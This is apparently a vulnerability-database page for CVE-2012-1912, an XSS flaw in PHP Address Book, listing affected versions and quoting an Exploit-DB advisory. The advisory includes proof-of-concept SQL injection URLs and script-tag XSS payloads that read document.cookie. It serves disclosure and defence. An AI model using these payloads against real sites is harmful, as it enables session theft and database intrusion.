VIR Vulnerability Intelligence Relay

CVE-2012-1912

medium
Published 2012-09-09 · Modified 2026-04-29
💬 Discuss on Community ✚ Propose mitigation
CVSS v3
—
CVSS v4 NEW
—
not yet in upstream
VIR risk
5.3

Description

Cross-site scripting (XSS) vulnerability in preferences.php in PHP Address Book 7.0 and earlier allows remote attackers to inject arbitrary web script or HTML via the from parameter. NOTE: the index.php vector is already covered by CVE-2008-2566.

Predictions

Exploit likelihood
20%
Patch ETA
—

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.

✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-18578 webapps php text · 1 KB
Stefan Schurtz · 2012-03-10

PHP Address Book 6.2.12 - Multiple Vulnerabilities

text exploit Source: Exploit-DB 
Advisory:		PHP Address Book 6.2.12 Multiple security vulnerabilities
Advisory ID:		SSCHADV2012-007
Author:			Stefan Schurtz
Affected Software:	Successfully tested on PHP Address Book 6.2.12
Vendor URL:		http://sourceforge.net/projects/php-addressbook/
Vendor Status:		informed

==========================
Vulnerability Description
==========================

PHP Address Book 6.2.12 is prone to multiple XSS and SQL-Injection vulnerabilities

==================
PoC-Exploit
==================

// (Blind) SQL-Injection
http://[target]/addressbook/edit.php?id=[sql-injection]
http://[target]/addressbook/group.php?add=Add to&group=1&selected%5b%5d=132&to_group=[sql-injection]
http://[target]/addressbook/vcard.php?id=[sql-injection]

// XSS
http://[target]/addressbook/preferences.php?from='"</script><script>alert(document.cookie)</script>
http://[target]/addressbook/index.php?group='"</script><script>alert(document.cookie)</script>

====================
Disclosure Timeline
====================

03-Mar-2012 - vendor informed

========
Credits
========

Vulnerabilities found and advisory written by Stefan Schurtz.

===========
References
===========

http://sourceforge.net/tracker/?group_id=157964&atid=8059299
http://www.darksecurity.de/advisories/2012/SSCHADV2012-007.txt

Application impact
VendorProductVersionsFixed
chatelaophp_address_book{"endIncluding":"7.0"}
chatelaophp_address_book1.0
chatelaophp_address_book1.2
chatelaophp_address_book2.0
chatelaophp_address_book2.1
chatelaophp_address_book2.1.1
chatelaophp_address_book2.2
chatelaophp_address_book2.3
chatelaophp_address_book2.4
chatelaophp_address_book2.6
chatelaophp_address_book3.0
chatelaophp_address_book3.1
chatelaophp_address_book3.1.1
chatelaophp_address_book3.1.2
chatelaophp_address_book3.1.3
chatelaophp_address_book3.1.4
chatelaophp_address_book3.1.5
chatelaophp_address_book3.1.6
chatelaophp_address_book3.2
chatelaophp_address_book3.2.1
chatelaophp_address_book3.2.2
chatelaophp_address_book3.2.3
chatelaophp_address_book3.2.4
chatelaophp_address_book3.2.5
chatelaophp_address_book3.2.6
chatelaophp_address_book3.2.7
chatelaophp_address_book3.2.8
chatelaophp_address_book3.2.9
chatelaophp_address_book3.2.10
chatelaophp_address_book3.2.11
chatelaophp_address_book3.2.12
chatelaophp_address_book3.2.13
chatelaophp_address_book3.2.14
chatelaophp_address_book3.3
chatelaophp_address_book3.3.1
chatelaophp_address_book3.3.2
chatelaophp_address_book3.3.3
chatelaophp_address_book3.3.4
chatelaophp_address_book3.3.5
chatelaophp_address_book3.3.6
chatelaophp_address_book3.3.7
chatelaophp_address_book3.3.8
chatelaophp_address_book3.3.9
chatelaophp_address_book3.3.10
chatelaophp_address_book3.3.12
chatelaophp_address_book3.3.13
chatelaophp_address_book3.3.14
chatelaophp_address_book3.3.15
chatelaophp_address_book3.3.16
chatelaophp_address_book3.3.17
chatelaophp_address_book3.3.18
chatelaophp_address_book3.4
chatelaophp_address_book3.4.1
chatelaophp_address_book3.4.2
chatelaophp_address_book3.4.3
chatelaophp_address_book3.4.4
chatelaophp_address_book3.4.5
chatelaophp_address_book3.4.6
chatelaophp_address_book3.4.7
chatelaophp_address_book3.4.8
chatelaophp_address_book3.4.9
chatelaophp_address_book4.0
chatelaophp_address_book4.0.2
chatelaophp_address_book4.1.1
chatelaophp_address_book4.1.3
chatelaophp_address_book4.1.4
chatelaophp_address_book5.0
chatelaophp_address_book5.1
chatelaophp_address_book5.2
chatelaophp_address_book5.3
chatelaophp_address_book5.4
chatelaophp_address_book5.4.1
chatelaophp_address_book5.4.2
chatelaophp_address_book5.4.3
chatelaophp_address_book5.4.4
chatelaophp_address_book5.4.5
chatelaophp_address_book5.4.6
chatelaophp_address_book5.4.7
chatelaophp_address_book5.4.9
chatelaophp_address_book5.5
chatelaophp_address_book5.6
chatelaophp_address_book5.7
chatelaophp_address_book5.7.1
chatelaophp_address_book5.7.2
chatelaophp_address_book5.7.3
chatelaophp_address_book5.7.4
chatelaophp_address_book5.7.5
chatelaophp_address_book5.8.1
chatelaophp_address_book6.0
chatelaophp_address_book6.1
chatelaophp_address_book6.1.1
chatelaophp_address_book6.1.2
chatelaophp_address_book6.1.3
chatelaophp_address_book6.1.4
chatelaophp_address_book6.2
chatelaophp_address_book6.2.1
chatelaophp_address_book6.2.2
chatelaophp_address_book6.2.3
chatelaophp_address_book6.2.4
chatelaophp_address_book6.2.5
chatelaophp_address_book6.2.6
chatelaophp_address_book6.2.7
chatelaophp_address_book6.2.9
chatelaophp_address_book6.2.10
chatelaophp_address_book6.2.11
chatelaophp_address_book6.2.12

References

CWEs

CWE-79

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.